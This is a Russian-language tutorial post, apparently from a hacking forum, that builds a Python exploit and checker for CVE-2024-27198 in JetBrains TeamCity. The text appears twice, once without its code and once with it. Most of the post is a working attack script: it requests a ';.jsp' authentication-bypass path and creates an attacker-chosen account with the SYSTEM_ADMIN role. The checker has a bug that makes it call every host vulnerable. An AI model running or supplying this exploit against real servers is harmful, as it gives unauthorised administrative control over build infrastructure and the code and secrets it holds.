D2
Администратор
- Регистрация
- 19 Фев 2025
- Сообщения
- 4,380
- Реакции
- 0
Статью написал Эрмано
Специально для XSS.IS
Сегодня я реши написать сразу 2 статьи: одну с разбром уязвимости, а другую с написанием эксплойта + чекера для уязвимости.
Писать мы будем на Python, так как это довольно быстро и практично.
Описание уязвимости я оставил в прошлой статье: https://xss.is/threads/123423/
Библиотеки
Я буду использовать только
Требования
Соблюсти все условия(описал в вышеуказанной статье).
Иметь прямые руки и пустую, свежую голову.
Разработка
Каждая работа начинается одинаково - импорт библиотек:
Python: Скопировать в буфер обмена
Далее прописываем вывод доступных команд и модуль их выбора:
Python: Скопировать в буфер обмена
Потом делаем эндпоинты(для чекера и для эксплойта):
Python: Скопировать в буфер обмена
Когда начало положено, нам нужно прописать цикл, в котором пользователь будет выбирать команды, делать мы его будем с помощью конструкцииswitch-case
Python: Скопировать в буфер обмена
Тестирование
Теперь, когда наш эксплойт полностью написан, мы можем приступить к тестированию.
Удаляем всех юзеров. И запускаем нашу программу
Я немного приукрасил его.
Видим, что наш эксплойт запустился, пробуем проверит наше окружение(заранее, знаем, что оно уязвимо):
Отлично, пока всё штатно работает, пробуем проэксплуатировать уязвимость:
Всё получилось! Как мне говорит программа, был создан юзер(креды которого мы сами и указали) и теперь мы можем залогиниться, думаю стоит проверить:
Отлично! Всё работает, а мы с вами, только что написали свой первый эксплойт и чекер.
Итог
Сегодня мы написали свой эксплойт и чекер для CVE-2024-27198, и это очень здорово.
С вами был Эрмано, всем хорошего кодинга!
Специально для XSS.IS
Сегодня я реши написать сразу 2 статьи: одну с разбром уязвимости, а другую с написанием эксплойта + чекера для уязвимости.
Писать мы будем на Python, так как это довольно быстро и практично.
Описание уязвимости я оставил в прошлой статье: https://xss.is/threads/123423/
Библиотеки
Я буду использовать только
requests
да и что то больше нам не нужно.Требования
Соблюсти все условия(описал в вышеуказанной статье).
Иметь прямые руки и пустую, свежую голову.
Разработка
Каждая работа начинается одинаково - импорт библиотек:
Python: Скопировать в буфер обмена
import requests
Далее прописываем вывод доступных команд и модуль их выбора:
Python: Скопировать в буфер обмена
Код:
print("Available commands: help, check, exploit, exit")
# command input
command = input("Enter command: ")
Потом делаем эндпоинты(для чекера и для эксплойта):
Python: Скопировать в буфер обмена
Код:
# Payload and checking path
check_path = "endpoint1?jsp=/app/rest/server;.jsp"
payload_path = "endpoint2?jsp=/app/rest/users;.jsp"
Когда начало положено, нам нужно прописать цикл, в котором пользователь будет выбирать команды, делать мы его будем с помощью конструкции
while-true
, реализованной в Python3.10, а также функцию эксплойта с проверкой:Python: Скопировать в буфер обмена
Код:
def exploit():
target_host = input("Enter target host(with '/' on the end): ")
exploit_host = target_host+payload_path
print(exploit_host)
username = input("Enter username: ")
password = input("Enter pass: ")
email = input("Enter email: ")
# headers
headers = {
'Accept':'*/*',
'Content-Type': 'application/json'
}
# payload
payload = {
"username":username,
"password":password,
"email":email,
"roles":{
"role":[
{
"roleId":"SYSTEM_ADMIN",
"scope":"g"
}
]
}
}
exploiting = requests.post(url=exploit_host, json=payload, headers=headers)
print(exploiting)
if exploiting.status_code == 200:
print(f"\nSuccess!\nUsername:{username}\nPassword:{password}\nemail:{email}")
elif exploiting.status_code == 400:
print("Exploit failed.\nUser already exist")
while command != "exit":
if command == "help":
print("")
print("Available commands: help, check, exploit, exit")
print("Enter host with '/' in the end")
print("Script checking/exploiting CVE-2024-27198\n More: https://www.rapid7.com/blog/post/2024/03/04/etr-cve-2024-27198-and-cve-2024-27199-jetbrains-teamcity-multiple-authentication-bypass-vulnerabilities-fixed/")
print("")
command = input("Enter command: ")
print("")
elif command == "check":
target = input("Enter host(example: http://ip:port/ or https://site.com/): ")
checking = requests.get(target + check_path)
if checking.status_code != "200":
print("")
print("Target host is vulnerable")
else:
print("")
print("Host is possibly vulnerable")
print("")
command = input("Enter command: ")
elif command == "exploit":
exploit()
print("")
command = input("Enter command: ")
elif command == "exit":
break
else:
print("")
command = input("Enter command: ")
Тестирование
Теперь, когда наш эксплойт полностью написан, мы можем приступить к тестированию.
Удаляем всех юзеров. И запускаем нашу программу
Я немного приукрасил его.
Видим, что наш эксплойт запустился, пробуем проверит наше окружение(заранее, знаем, что оно уязвимо):
Отлично, пока всё штатно работает, пробуем проэксплуатировать уязвимость:
Всё получилось! Как мне говорит программа, был создан юзер(креды которого мы сами и указали) и теперь мы можем залогиниться, думаю стоит проверить:
Отлично! Всё работает, а мы с вами, только что написали свой первый эксплойт и чекер.
Итог
Сегодня мы написали свой эксплойт и чекер для CVE-2024-27198, и это очень здорово.
С вами был Эрмано, всем хорошего кодинга!